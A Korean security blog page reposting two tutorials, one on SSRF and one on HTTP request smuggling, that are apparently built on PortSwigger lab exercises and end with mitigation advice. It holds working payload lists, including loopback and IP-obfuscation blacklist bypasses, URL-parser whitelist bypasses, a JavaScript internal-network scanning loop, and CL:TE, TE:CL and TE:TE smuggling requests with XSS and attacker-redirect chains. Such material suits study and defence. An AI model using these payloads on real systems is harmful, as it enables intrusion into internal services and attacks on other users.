'2022/06/14'에 해당되는 글 2건

SSRF (펌)

2022. 6. 14. 02:11

화자 되는 경우가 많은 취약점

 

https://guleum-zone.tistory.com/165?category=429860 

 

SSRF(Server Side Request Forgery) 취약점

개요 SSRF는 Server Side Request Forgery의 약자로 유사한 이름을 가진 CSRF(Cross Site Request Forgery) 와는 다르게 클라이언트 측의 요청을 변조시키는 것이 아닌 서버 측 자체의 요청을 변조하여 공격자가..

guleum-zone.tistory.com

개요

SSRF는 Server Side Request Forgery의 약자로 유사한 이름을 가진 CSRF(Cross Site Request Forgery) 와는 다르게 클라이언트 측의 요청을 변조시키는 것이 아닌 서버 측 자체의 요청을 변조하여 공격자가 원하는 형태의 악성 행위를 서버에 던져주면 서버가 검증 없이 그대로 받아 그의 따른 행동/응답을 해주는 공격입니다.

 

일반적으로 매개변수에 HTTP 요청을 통해 적절한 응답을 받을 수 있다면 충분히 시도해볼 만한 공격으로 최근 들어 멀티 클라우드 환경에서 주로 쓰이는 메타 데이터 API는 인프라 내의 구성, 로그, 인증, 다양한 데이터에 로컬에서만 액세스 할 수 있습니다. 만약 SSRF 취약점이 존재할 경우 내부에 숨겨진 네트워크에 있더라도 공격자의 웹에서 요청하는 메타데이터를 조작하여 내부 시스템 정찰과 다양한 자격증명을 호출할 가능성이 존재합니다.

 

자주 발생되는 취약점은 아니지만 파급효과가 큰 취약점입니다. 이러한 이슈가 발생하는 대부분의 이유는 사용자들의 입력값을 제대로 검증하지 않는 문제도 있지만 아무래도 내부 사설로만 이루어져 있고 외부에서 접근이 불가능할 것이라 판단하여 보안에 대해 조금 소홀해지는 것도 문제입니다. 

 

아무리 분리된 내부 네트워크다 하더라도 우리에게 보이는 서비스가 내/외부 시스템과 조금이라도 상호작용을 한다면 이는 반대로 접근을 시도할 수 있다는 얘기입니다.

 

여기서 말하는 상호작용이란 페이지 번역 기능을 호출하여 번역을 하거나, 링크 삽입시 썸네일 이미지 호출, 외부의 데이터를 다운로드 및 저장할 경우, 웹 훅으로 이벤트 발생 시 지정된 URL로 콜백 요청하여 다른 서비스에게 이 사실을 알리는 환경에서 주로 발생합니다.

<Basic Loopback>
http://localhost:80
http://localhost:8080
http://127.0.0.1:80
http://127.0.0.1:8080
http://192.168.0.1:80
http://192.168.0.1:8080
http://192.168.1.1:80
http://192.168.1.1:8080
 

 

Find Back-End System

해당 페이지의 재고 확인 버튼을 누르면 stockApi 변수를 통해 내부 시스템과 상호작용하여 제품의 보유 개수를 확인하여 응답해주는 페이지가 존재합니다.

 

재고를 확인할 수 있는 상대 경로는 제거하고 내부 시스템의 대역이 192.168.0.x:8080에 존재할 것이라는 걸 이용하여 외부에서 노출되지 않는 /admin 페이지가 있는지 요청을 보낼 수 있습니다.

 

Numbers 페이로드를 활용하여 192.168.0.x:8080 "x" 자리에 숫자 1씩 증가시켜 HTTP 응답 코드가 다르게 나온 자릿수를 확인할 수 있습니다. 200 코드를 응답한 것으로 보아 내부 시스템이 192.168.0.153 주소를 가진 것을 알았습니다.

 

Reapter 기능을 사용하여 153 대역에 요청을 날려보면 외부에서 확인되지 않았던 URi 정보를 획득할 수 있습니다. 노출된 URi 정보를 통해 관리자 계정을 삭제할 수 있습니다.

 

for(var i = 0; i <=255; i++) {
	var x = new XMLHttpRequest();
	x.open('POST','https://acf51f0d1ff7e0b981797fca004900d5.web-security-academy.net/product/stock',false);
	x.setRequestHeader('Content-Type','application/x-www-form-urlencoded; charset=UTF-8');
	
	x.send('stockApi=http://192.168.0.' + i.toString() + ':8080/admin');
	console.log(i, x.status);
	
	if(x.status == '200'){
		break;
	}
}

버프 스위트 이외에 간단한 js코드를 활용하여 콘솔에 찍어보실 수도 있습니다. 아무래도 버프 스위트보다 요청/응답 속도가 빠르기 때문에 유용히 쓰일 수 있습니다.

 

지정된 위치에 1씩 값을 증가시켜 if(x.status == '200')를 통해 존재하는 IP Address인 경우 위처럼 표시가 됩니다.

 

 

Blacklist FIlter Bypass

대부분 시스템에서는 자칫 문제가 발생할 수 있는 루프백 주소 "localhost", "127.0.0.1"에 대한 요청을 차단하고 있습니다. 하지만 추가적으로 검증을 하지 않으면 이 또한 우회가 가능합니다.

 

다양한 우회 패턴이 존재하지만 그중에서 주로 사용되는 방법은 IP Obfuscation(난독화)를 통해 블랙리스트의 항목에서 벗어날 수 있습니다.

*난독화 관련 포스팀

guleum-zone.tistory.com/162?category=441533

 

IP Address Obfuscation(난독화)

개요 난독화란 소프트웨어 측면에서 일반적인 사람들이 이해하기 어렵게 또는 역분석(Reverse engineering)을 지연시키기 위해 의도적으로 숨기는 행위입니다. 하지만 반대로 악의적인 사용자들은 "

guleum-zone.tistory.com

<Blacklist Bypass>
http://127.0.1
http://127.1
http://0:8080
http://0.0.0.0:80
http://2130706433 => 127.0.0.1
http://0x7f000001 => 127.0.0.1
http://0177.0000.0000.0001 => 127.0.0.1
http://%3127%2E%30%2E%30%2E%31 => 127.0.0.1
http://3232235521 => 192.168.0.1
http://0xc0a80001 => 192.168.0.1
http://0300.0250.0000.0001 => 192.168.0.1
http://%3192%2E%3168%2E%30%2E%31 => 192.168.0.1
http://3232235777 => 192.168.1.1
http://0xc0a80101 => 192.168.1.1
http://0300.0250.0001.0001 => 192.168.1.1
http://%3192%2E%3168%2E%31%2E%31 => 192.168.1.1

 

Whitelist Filter Bypass

어느 정도 필터링를 수행하고 있는 경우 "Whitelist"방식을 사용하여 지정된 목적지가 아닌 경우 차단하고 있습니다. 사실 이러한 환경을 마주하게 될 경우 벗어나기가 쉽지 않지만 위처럼 허용 도메인 패턴을 알아내면 우회 가능성이 존재합니다.

 

해당 페이지의 경우 허용된 도메인인 "stock.weliketoshop.net"이 파라미터 안에 포함되어 있는지 먼저 검증을 하고 존재할 경우 요청을 받아들이고 실행합니다.

 

만약 지정된 경로에 대해 화이트 리스트 또는 블랙리스트 기반으로 URL 검증을 한다 하더라도 입력된 데이터가 올바른지 철저하게 검증하지 않을 경우 URL Parser의 특징을 이용해 우회가 가능합니다.

<Whitelist Bypass>
https://www.naver.com#www.daum.net
https://www.naver.com@www.daum.net
https://www.naver.com#\@www.daum.net
https://www.naver.com/#///www.daum.net
https://www.naver.com#.#www.daum.net
https://www.naver.com&@www.daum.net
https://www.naver.com:x@www.daum.net
https://www.naver.com%2523@www.daum.net
https://www.naver.com/#/**/www.daum.net
https://www.naver.com#\@www.daum.net
https://www.naver.com/\?url=https://www.daum.net
https://1.1.1.1 &@www.daum.net# @3.3.3.3
https://1.1.1.1%0D0A&@www.daum.net#%0D0A@3.3.3.3

 

Using Open Redirect

대상 애플리케이션에 Open Redirect 관련 취약점이 존재할 경우 해당 페이지가 Back-End 방향으로 API 요청을 사용한다면 해당 변수에 우리가 가고자 하는 내부 경로로 변경하여 응답 값에 따른 추론을 할 수 있습니다.

 

해당 페이지는 StockAPI변수의 값 중에 허용된 주소가 존재하는지 검증하지 않고 있으며 존재하는 상품으로 가는 도메인 경로를 내부 시스템 주소로 요청(192.168.0.1:8080)을 보내본 결과 유독 다른 404번 응답이 확인됩니다.

 

8080/"inject!!" 상세한 경로를 확인하기 위해 직접 값을 입력하거나 사전 대입 공격을 하여 위처럼 응답 소스가 나타난다며 성공적으로 access가 된 것입니다.

 

내부에서만 확인이 가능한 도메인을 역으로 요청하여 직접 요청을 하는 것이 아닌 측면 공격을 통해 원하는 악성 행위가 가능해집니다.


SSRF 를 예방하기 위해

SSRF에 대한 공격 벡터는 굉장히 다양하며 이러한 공격을 막기 위해선 한 가지 측면이 아닌 여러 측면을 생각하여 조치를 취해주셔야 됩니다.

 

첫 번째로 제일 중요한 것은 내부 시스템과 상호 작용하는 변수에 불필요한 값이 입력될 경우 무효처리를 해야 됩니다.

 

두 번째로 변수에 입력된 주소가 올바른 주소가 맞는지 즉 신뢰하는 주소가 맞는지 재검증을 해야 됩니다.

 

세 번째로 여러 우회 공격 기법 중에 대상 사이트에 대한 신뢰할 수 있는 도메인과 루프백 주소를 매칭 하여 지정해둔 도메인을 요청하는 경우가 존재하기 때문에 요청 시 도메인 이름에 대한 검증도 수행해주시는 것이 좋습니다.

 

*Reference

book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery

code-machina.github.io/2019/09/25/Server-Side-Request-Forgery-Prevention.html

'' 카테고리의 다른 글

.aspx webshell  (0) 2022.06.23
HTTP Request Smuggling (펌)  (0) 2022.06.16
HTTP Request Smuggling (펌)  (0) 2022.06.14
DOM 기반 XSS (펌)  (0) 2022.05.11
XSS 버그바운티 (펌)  (0) 2022.05.11
블로그 이미지

wtdsoul

,

HTTP Request Smuggling (펌)

2022. 6. 14. 02:10

https://guleum-zone.tistory.com/170

 

HTTP Request Smuggling(HTTP Desync Attack) 취약점

개요 HTTP Request Smuggling은 Watchfire에 의해 2005년에 처음 등장하여 수면 속에 숨어 있다가 2019년 DEFCON과 BlackHat에서 해당 취약점의 을 이용한 새로운 벡터와 위험도를 검증하면서 인지도가 높아진

guleum-zone.tistory.com

개요

HTTP Request Smuggling은 Watchfire에 의해 2005년에 처음 등장하여 수면 속에 숨어 있다가 2019년 DEFCON과 BlackHat에서 해당 취약점의 을 이용한 새로운 벡터와 위험도를 검증하면서 인지도가 높아진 취약점입니다.

 

해당 취약점이 이슈가 되는 해인 2019년에 PAYPAL 기업에서는 해당 취약점에 노출된것을 버그 바운티 프로그램을 통해 제보받았고 포상금으로 총 20.000 달러를 지급한 사례가 존재합니다.

 

Http Request Smuggling은 프론트 와 백엔드가 Http 요청의 경계를 다르게 해석하고 RFC7230을 따르지 않는 다양한 라이브러리 사용으로 인해 발생합니다.

여기서 프론트의 역할은 LB(Load Balancer) 나 RP(Reverse Proxy), CDN(Content Delivery Network)가 되며 이들은 다양한 사용자들의 요청을 받아 전달 및 분배를 해주는 과정에서 Back-end가 chunked 또는 Content-Length를 만나면 지정된 데이터만큼만 처리하고 나머지는 패킷은 버퍼에 잠시 남게 되는데 이것은 타 사용자들의 정상적인 요청의 흐름을 방해할 가능성이 존재하다는 것입니다.

 

portswigger/Http Request Smuggling

위의 사진처럼 공격자와 타사용자들 간에 서비스를 이용하는 과정에서 악의적인 사용자는 해당 취약점을 이용해 자신의 요청 이외에 추가적인 요청 행위를 백엔드 버퍼 잠시 기다리도록 대기시키고 타 사용자의 요청 앞단에 함께 묶여 처리되도록 할 수 있습니다.

 

취약점이 발생하는 이유

http요청이 끝나는 위치를 지정해주는 방법인 Content-Length 헤더와 Transfer-Encoding 헤더를 모두 제공하기에 주로 발생합니다. 하지만 대부분의 서비스에서는 2가지의 헤더를 모두 사용하고 있는데 왜 문제가 발생하느냐인데..

RFC 2616에 따르면 Transfer-Encoding 헤더 필드와 Content-Length 헤더 필드가 모두있는 메시지가 수신되면 후자인 Content-Length는 무시되고 이를 Transfer-Encoding이 이를 대체해야 됨

즉 요청 헤더에 2가지의 헤더가 모두 포함이 되어 있을 경우 Content-Length는 무시해야 된다는 것입니다.

 

Content-Length: 응답 메시지의 Body 길이나 특정 지정된 개체의 길이를 한 번에 보냄
Transfer-Encoding: 동적으로 생성되는 응답 헤더로 chunked 전송 방식을 통해 조각조각 나뉘어 처리함(처리 종료는 0이 기점)

Content-Length와 Transfer-Encoding의 존재 이유

<Content-Length 헤더>
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

웹 서버가 전달해주는 콘텐츠의 시작과 끝을 알아야 요청에 대한 처리가 올바르게되는데 그러기 위해 Content-Length 헤더에 전달하고자 하는 컨텐츠의 사이즈를 표시해주면 웹 서버에스는 클라이언트에게 받은 컨텐츠 사이즈를 먼저 계산하여 응답해줄 때 전체 사이즈와 함께 데이터를 전달해준다. 만약 Content-Length 값이 "3" 이면 3 Bytes 만큼 처리하게 됩니다. 

<Transfer-Encoding 헤더>
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
0

만약 콘텐츠 사이즈가 크면 지연이 걸릴 텐데 그럼 어떡하는가?? 바로 "Chunked" 전송 방식을 통해 전체 데이터를 한 번에 알려주지 않고 조금씩 조금씩 알려줘 부하가 걸리지 않도록 유동적으로 처리해주는 방식이 존재합니다.

"Chunked" 방식에는 Content-Length 헤더가 존재하지 않고 대신 "Transfer-Encoding: Chuncked"라는 헤더가 붙습니다.(0은 종료를 의미)

 

Content-Length와 Transfer-Encoding의 처리방식 및 종류

프론트 엔드와 백엔드 쪽 서버가 처리하는 헤더의 우선순위에 따라 공격 방법이 조금씩 달라집니다. 만약 Content-Length를 프론트에서 우선적으로 처리하고 백엔드에서 Transfer-Encoding을 우선적으로 처리할 경우 CL-TE라고 합니다.

CL:TE : 프론트 엔드 요청(Content-Length) <-> 백 엔드 응답(Transfer-Encoding)
TE:CL : 프론트 엔드 요청(Transfer-Encoding) <-> 백 엔드 응답(Content-Length)
TE:TE : 프론트 엔드와 백 엔드 모두 Transfer-Encoding 지원

위에서도 설명드렸지만 두 헤더가 요청 패킷에 모두 포함될 경우 기존 정상 요청과 추가적인 요청을 덧붙여 전송하여 서버에 전달합니다. 이로 인해 프런트 엔드 및 백 엔드 서버가 체인에서 각 요청의 시작과 끝을 결정하는 방법에 문제가 발생합니다.

 

악의적인 HTTP 요청의 끝이 잘못 계산되어 하나의 서버에서 악성 콘텐츠를 처리하지 않고 체인의 다음 인바운드 요청 시작 부분에 추가되어 처리됩니다.

 

CL:TE 취약점

POST /category HTTP/1.1
Host: guleum-zone.com
Content-Length: 24
Transfer-Encoding: chunked

0 -> processing
smuggling -> Back-End Stanby

Content Length를 통해 프론트 쪽 서버에서는 본문의 길이가 24 바이트인 것처럼 작동합니다. 하지만 백엔드 쪽에서는 Transfer-Encoding에 부여된 chunked를 확인하고 조각조각 처리하는 중 "0"을 만나 데이터 처리를 종료하게 됩니다.

그럼 "0"이후로 표시된 smuggling 메시지는 처리되지 못하기 때문에 백엔드 버퍼에 잠시 기록된 채 다음 요청의 앞에 포함되어 전송될 때까지 대기하게 됩니다.

 

기존 정상적인 요청을 조작하여 임의 값이 버퍼에 기록된 채로 남겨두고 다음 요청에 처리하도록 할 수 있습니다.

 

Content-Length에 부여된 값을 통해 본문 전체 값을 처리하도록 첫 번째 요청을 보냅니다. 하지만 요청 헤더에 포함된 Transfer-Encoding의 chunked로 인해 데이터 처리는 "0"까지밖에 못하게 되어 하위의 "smuggling"은 처리되지 못하고 남아있게 되어 다음 요청 때 함께 포함되어 "POST가 아닌 -> SMUGGLINGPOST"로 처리되게 됩니다.

 

만약 관리자 페이지로 접근하기 위한 /admin 경로가 차단되어 있다면 Smuggling 취약점을 악용하여 접근이 가능할 수 있습니다.

 

요청하는 Host 기반으로 검증하고 있는 것을 확인하였으므로 하단에 추가 요청을 덧붙여 접근하도록 시도할 수 있습니다.

GET 방식에 "x="이라는 값을 Body에 넣어준 이유는 "Content-Type" 속성 때문입니다. 해당 값은 HTTP 요청의 메시지를 POST방식 즉 본문의 Body에 포함하여 보내는 것을 의미합니다.

 

* 추가 요청이 아닌 기존 요청만 보낼 경우 따로 기입하지 않아도 클라이언트 측에서 디폴트로 "application/x-www-form-urlencoded" 속성 값을 넣어서 보내주기 때문에 추가적으로 안 넣어줘도 되지만 위처럼 추가 본문을 덧붙여줄 것이라면 Content-Type을 지정하여 규약을 지켜주셔야 됩니다. 

 

TE:CL 취약점

POST /category HTTP/1.1
Host: guleum-zone.com
Content-Length: 3
Transfer-Encoding: chunked

5 -> processing
smuggling -> Back-End Stanby
0 -> processing

프론트에서는 Transfer-Encoding에 부여된 chunked을 통해 0\r\n 기준으로 조각내어 처리하기 때문에 우선 전체 본문 내용을 백엔드 쪽으로 보냅니다. 하지만 백엔드에서는 Content-Length를 우선적으로 처리하기 때문에 부여된 "3" 바이트의 크기를 참고하여 3개의 개행 문자인 5\r\n 까지만 처리하고 중간에 smuggling은 버퍼에 잠시 동안 대기하여 다음청에 포함하여 전송되게 됩니다.

 

TE:CL 취약점을 원활하게 진행하기 위해선 자동으로 계산되어 할당되는 Update Content-Length 설정을 비활성화해주셔야 원활하게 테스트가 가능합니다. 안 그러면 본문에 추가된 데이터의 길이 모두를 자동으로 계산하여 할당하기 때문에 Smuggling이 발생하지 않습니다.

 

프론트에서는 TE 먼저 우선 처리하기 때문에 종료를 나타내는 "0"을 제일 하단으로 설정하고 우선적으로 전체 본문이 넘어가도록 해줍니다. 그 후 백엔드에서는 CL을 우선 처리하므로 부여된 "3 Bytes" 값만큼만 계산하게 되어 5\r\n 까지만 처리되고 SPOST는 백엔드에 대기하게 되어 그다음 요청에 처리됩니다.

 

본문에 새로운 요청을 추가하여 전송할 수도 있습니다. 우리는 Content-Length에 부여된 값으로 인해 백엔드에서 처리하므로 딱 처리되는 만큼의 데이터만 남겨주시고 나머진 다음 요청에 처리되도록 작성해주시면 됩니다.

 

단 Content-Length 값이 "10"인데 Body의 내용이 3 Bytes 정도밖에 없다면 서버 측에서는 데이터가 덜 들어온 것으로 판단하여 기다리다가 Timeout을 선사해줍니다.

 

CL:TE에서 확인했던 관리자 페이지 접근은 TE:CL에서는 위처럼 요청하여 무단 액세스 할 수 있습니다. 0\r\n을 기점으로 본문 전체 내용을 전달하지만 백엔드에서는 Content-Length에서 부여된 4 Bytes 로인해 71\r\n 까지만 처리하고 나머지는 다음 요청에 남아 전달됩니다.

 

TE:TE 취약점

<Transfer-Encoding 혼돈화>
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked

프론트와 백엔드 모두 Transfer-Encoding 헤더의 우선순위를 지정하여 처리할 경우 요청 헤더에 2개의 Transfer-Encoding을 삽입하여 smuggling할 수 있습니다. 이때 개행문자나 잘못된 값을 넣어 프론트랑 백엔드 둘중 하나가 이를 무시하도록 우회하는 것입니다. 프론트 단에서만 Trasnfer-Encoding을 처리하거나 그 반대인 백엔드에서만 처리해도 발생가능하기 때문에 CL:TE 또는 TE:CL 과 유사하다고 볼 수 있습니다.

 

위처럼 2개의 Transfer-Encoding을 이용하되 하나는 정상 헤더 나머지는 비정상적인 헤더 값을 사용하여 1개만 처리되도록 유도하는 것 입니다.

 

이것도 마찬가지로 Content-Length에 처리할 값만 지정시켜서 5c\r\n 까지만 처리되도록 유도하면 나머지 추가된 값은 버퍼에 기록되어 다음 요청과 함께 처리됩니다.

 

HTTP Request Smuggling + XSS 공격

패킷을 밀수하는 공격을 통해 다양한 악용이 가능합니다. 대표적인 XSS(Cross Site Scripting) 취약점이 대상 웹 어플리케이션에 존재할 경우 추가 악용이 가능합니다.

페이지 로직을 확인해본 결과 매개변수에 사용자의 정보인 User-Agent 값을 사용하고 있는 것을 확인할 수 있습니다.

 

요청 패킷을 잡아 확인해보면 확실하게 값으로 인식하고 처리하고 있습니다. 해당 헤더에 값 이외에 악의적인 스크립트를 삽입하여 버퍼에 남긴 후 다른 요청 때 스크립트가 실행되도록 공격할 수 있습니다.

 

CL:TE 환경을 고려하여 전체 본문 데이터가 백엔드로 날아가지만 백엔드의 Transfer-Encoding 정책으로 인해 "0" 까지만 처리하고 스크립트가 삽입된 추가 요청은 버퍼에 남기도록 합니다.

 

* 다시 말씀드리지만 GET 방식인데 Body에 a=1이라는 데이터가 포함된 이유는 Content-Tyep 속성으로 인해 값을 넣어준 것입니다. 그렇지 않으면 서버 측에서 본문에 데이터가 확인되지 않아 무작정 기다리다 타임아웃 걸어버립니다.

 

스크립트가 실행됩니다. XSS와 연계하여 사용하는 문제는 다소 위험도가 높은 것으로 판단됩니다. HTTP 요청 밀수 공격은 MITM이 아닌 서버단에 기록된 후 처리되는 방식이기에 타 사용자들에게도 충분히 영향이 갈 수 있기 때문입니다.

 

HTTP Request Smuggling + Force Redirect

대부분의 웹 어플리케이션에서는 특정 URL에서 이벤트 발생 시 타 URL로 이동하기 위해 매개변수에 값을 받지 않고 "Host:" 헤더에 배치하여 리다이렉션 합니다. 여기서 HTTP 밀수 공격을 연계하게 될 경우 다음 요청을 받을 타 사용자에게 강제 리다이렉션 시킬 수 있는 HTTP 요청을 전달할 수 있습니다.

<Request>
GET /home HTTP/1.1
Host: guleum-zone.tistory.com

<Response> -> Original HTTP Redirection
HTTP/1.1 301 Moved Permanently
Location: https://guleum-zone.tistory.com -> processing

 

이걸 악용한다면 아래와 같이 재요청을 할 수 있습니다.

<Request>
POST / HTTP/1.1
Host: Target-domain.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com -> Back-End Stanby
Foo: X

==========================Back-End Stanby===========================

<Other User Request> -> After Stanby
GET /home HTTP/1.1
Host: attacker-website.com -> Add this Domain
Foo: XGET /scripts/include.js HTTP/1.1 -> Original Request
Host: vulnerable-website.com

<Other User Response> -> Force HTTP Redirection
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/ -> processing of Attacker Domain

 악의적인 사용자는 프론트와 백엔드 간에 CL:TE 처리를 한다는 것을 확인 후 자신의 요청에 추가적인 본문을 추가하여 백엔드 서버에 대기하도록 할 수 있습니다.

 

이때 Transfer-Encoding에 부여된 chunked으로 인해 "0" 까지만 데이터를 처리하게 되고 Host: 에 추가된 공격자의 악성 서버 주소는 서버에 요청하는 타 사용자의 요청에 붙어서 처리됩니다.

 

기존에 사용자는 GET /scripts/include.js 경로에 존재하는 정상적인 스크립트 파일을 로드하여 서비스를 이용하려고 했지만 요청 앞단에 공격자가 저장해둔 값이 붙게 되어 최종적으로 공격자가 지정해둔 악성 서버로 리다이렉션 되게 됩니다.

 

Http Request Smuggling Scan

github.com/defparam/smuggler

 

defparam/smuggler

Smuggler - An HTTP Request Smuggling / Desync testing tool written in Python 3 - defparam/smuggler

github.com

위에서 여러 CL:TE / TE:CL 등 테스트를 진행하다 보면 적절한 Content-Length 값을 부여한다는 게 보통일이 아닐 수도 있습니다. 그럴 때는 자동화 스캔을 진행하여 표면적으로 취약 유무를 판단 후에 확인이 된다면 프록시 도구를 사용해 취약성 검증을 하는 게 효율적일 수도 있습니다.

 

대상 웹 어플리케이션에 HTTP 밀수 공격에 대하 취약점이 존재할 경우 위처럼 TECL 또는 CLTE 같은 구분을 해주면서 발견되었다는 것을 콘솔에 찍어줍니다.

 

/Payload 디렉토리에 생성된 결과 파일을 통해 추가적으로 수동진단을 빠르게 진행할 수 있도록 지원해줍니다.

 

대응방안

조치할 수 있는 방법은 너무나도 까다로워 단지 인증심사를 위한 전제조건 또는 OWASP 기준의 취약점 진단을 받으려는 기업들은 조치가 조금 어려울 것이라고 판단되지만 만약 조치를 하고자 한다면 아래와 같다.

- 백엔드 쪽에 HTTP2 프로토콜로 업그레이드하여 끝나는 위치에 대한 모호성을 방지(Transfer-Encoding는 HTTP/2 에서는 지원되지 않음)
- 비정상적인 요청을 감지 하기 위해 행위 기반 WAF 도입
- 백엔드의 연결 재사용을 비활성화하여 백엔드 요청이 별도의 네트워크 연결을 통해 전송되도록(서버의 성능 저하를 예방할 수 있음)
- 프런트와 백엔드의 헤더가 신뢰할 수 있는 헤더인지 동일하게 매핑

단순히 클라이언트, 서버 측에서 끝낼 수 있는 문제가 아니기 때문에 각 기업의 인프라 환경을 고려하여 조치해야 된다.

 

PayPal의 경우 해당 취약점을 조치하기 위해 아래의 방법을 사용하는 것이 아닌 서비스하는 환경을 고려하여 Transfer-Encoding 헤더 자체를 비신뢰하여 처리하지 않도록 조치했다는 내용이 있습니다.

 

이번 취약점은 뭔가 좀 더 연구가 필요해 보이기 때문에 재밌는 사례나 정보가 생긴다면 더 추가하도록 하겠습니다.

 

References

- https://portswigger.net/web-security/request-smuggling
- https://core-research-team.github.io/2020-05-01/HTTP-Request-Smuggling-HTTP-Desync-Attack-be0e1c6035f84533af79463b3ec49d75
- https://core-research-team.github.io/2020-05-01/HTTP-Request-Smuggling-HTTP-Desync-Attack-be0e1c6035f84533af79463b3ec49d75
- https://www.hahwul.com/2019/08/12/http-smuggling-attack-re-born/
<Transfer-Encoding>
- https://b.pungjoo.com/entry/Transfer-Encoding-chunked-VS-Content-Length
<Content-Length>
- https://secretofsh.tistory.com/120
<Content-Type>
- https://blog.naver.com/writer0713/221853596497
 

 

 

'' 카테고리의 다른 글

HTTP Request Smuggling (펌)  (0) 2022.06.16
SSRF (펌)  (0) 2022.06.14
DOM 기반 XSS (펌)  (0) 2022.05.11
XSS 버그바운티 (펌)  (0) 2022.05.11
Wordpress file uplad exploit 확인  (0) 2022.05.02
블로그 이미지

wtdsoul

,